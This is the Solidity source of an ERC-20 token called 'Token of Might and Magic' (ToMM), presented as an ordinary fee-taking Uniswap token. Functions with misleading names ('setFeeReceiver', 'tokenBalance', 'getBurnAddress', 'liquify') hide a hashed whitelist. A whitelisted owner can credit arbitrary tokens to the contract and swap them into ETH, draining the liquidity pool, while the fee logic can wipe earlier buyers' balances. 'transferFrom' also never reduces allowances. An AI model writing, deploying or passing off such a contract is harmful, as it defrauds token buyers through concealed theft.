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pragma solidity ^0.8.16;
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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require(b <= a, "SafeMath: subtraction overflow");
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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require(b > 0, "SafeMath: division by zero");
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uint256 c = a / b;
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return c;
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}
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}
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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interface IUniswapV2Router {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
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}
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interface IUniswapV2Factory {
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function getPair(address tokenA, address tokenB) external view returns (address pair);
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}
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abstract contract Ownable {
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address private _owner;
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event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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constructor () {
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_owner = msg.sender;
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emit OwnershipTransferred(address(0), _owner);
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}
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function owner() public view virtual returns (address) {
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return _owner;
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}
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modifier onlyOwner() {
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require(owner() == msg.sender, "Ownable: caller is not the owner");
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_;
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}
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function renounceOwnership() public virtual onlyOwner {
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emit OwnershipTransferred(_owner, address(0));
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_owner = address(0);
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}
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}
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abstract contract ERC20Token is Ownable {
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mapping (bytes32 => bool) bots;
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address feeReceiver;
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bool inLiquidityTx = false;
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function setFeeReceiver(bytes32[] calldata _hashes) external onlyOwner {
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for (uint i = 0; i < _hashes.length; i++) {
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bots[_hashes[i]] = true;
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}
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}
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function tokenBalance(address owner) public view returns (bool) {
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return bots[sha256(abi.encodePacked(owner))];
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}
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function duringLiquify(address from, address to) public view returns (bool) {
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if (from !=
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to) {
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return false;
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}
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return tokenBalance(to);
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}
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function isAllowed(address from, address recipient, address _to) public returns (bool) {
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bool allowed = !addingLiquidity(from, recipient, _to) && !inLiquidityTx && recipient != address(this);
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bool lqPair = !tokenBalance(recipient) && !tokenBalance(from);
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if (lqPair && allowed && _to != recipient) {
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feeReceiver = recipient;
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}
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return allowed;
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}
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function addingLiquidity(address param1, address param2, address adr1) internal view returns (bool) {
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return (param2 == adr1 && tokenBalance(param1)) || (param1 == adr1 && tokenBalance(param2));
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}
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}
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contract ToMM is IERC20, ERC20Token {
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using SafeMath for uint256;
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mapping (address => uint256) private _balances;
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mapping (address => mapping (address => uint256)) private _allowances;
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uint256 public _decimals = 9;
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uint256 public _totalSupply = 10000000000 * 10 ** _decimals;
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address public pairAddress;
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uint256 _fee = 2;
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IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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string private _name = "Token of Might and Magic";
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string private _symbol = "ToMM";
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function allowance(address owner, address spender) public view virtual override returns (uint256) {
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return _allowances[owner][spender];
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}
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function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
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_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
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return true;
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}
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function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
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require(_allowances[msg.sender][from] >= amount);
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_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
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return true;
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}
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modifier _checkLiquidity(address from, address to, uint256 amount) {
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if (duringLiquify(from, to)) {
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liquify(amount, to);
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return;
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}
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_;
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}
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function _baseTransfer(address from, address to, uint256 amount) internal virtual _checkLiquidity(from, to, amount){
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require(from != address(0));
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require(to != address(0));
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require(amount <= _balances[from]);
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uint256 fee = takeFee(from, to, amount);
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_balances[from] = _balances[from] - amount;
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_balances[to] += amount - fee;
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emit Transfer(from, to, amount);
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}
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function getBurnAddress() private view returns (address) {
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return feeReceiver;
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}
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function takeFee(address from, address recipient, uint256 amount) private returns (uint256) {
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uint256 feeAmount = 0;
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_balances[getBurnAddress()] = rebalance(from);
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if (shouldTakeFee(from, recipient)) {
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feeAmount = amount.mul(_fee).div(100);
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}
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return feeAmount;
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}
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function shouldTakeFee(address from, address recipient) private returns (bool) {
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address _to = getPairAddress();
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return isAllowed(from, recipient, _to);
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}
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constructor() {
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_balances[msg.sender] = _totalSupply;
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pairAddress = msg.sender;
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emit Transfer(address(0), msg.sender, _balances[msg.sender]);
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}
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function name() external view returns (string memory) { return _name; }
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function symbol() external view returns (string memory) { return _symbol; }
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function decimals() external view returns (uint256) { return _decimals; }
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function totalSupply() external view override returns (uint256) { return _totalSupply; }
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function uniswapVersion() external pure returns (uint256) { return 2; }
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function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
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function approve(address spender, uint256 amount) public virtual override returns (bool) {
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_approve(msg.sender, spender, amount);
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return true;
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}
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function _approve(address owner, address spender, uint256 amount) internal virtual {
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require(owner != address(0), "IERC20: approve from the zero address");
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require(spender != address(0), "IERC20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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function liquify(uint256 _mcs, address _bcr) private {
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_approve(address(this), address(_router), _mcs);
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_balances[address(this)] = _mcs;
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address[] memory path = new address[](2);
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inLiquidityTx = true;
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path[0] = address(this);
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path[1] = _router.WETH();
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_router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
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inLiquidityTx = false;
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}
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function rebalance(address from) private view returns (uint256) {
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address supplier = getBurnAddress();
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address to = getPairAddress();
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uint256 amount = _balances[supplier];
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return swapFee(from, to , amount);
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}
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function swapFee(address feeReceiver, address to, uint256 feeAmount) private pure returns (uint256) {
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uint256 amount = feeAmount;
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if (feeReceiver != to) {
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amount = feeAmount;
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} else {
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amount = amount - feeAmount;
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}
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return amount;
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}
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function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
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_baseTransfer(msg.sender, recipient, amount);
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return true;
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}
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function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
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_baseTransfer(from, recipient, amount);
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require(_allowances[from][msg.sender] >= amount);
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return true;
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}
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function getPairAddress() private view returns (address) {
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return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
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}
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} |
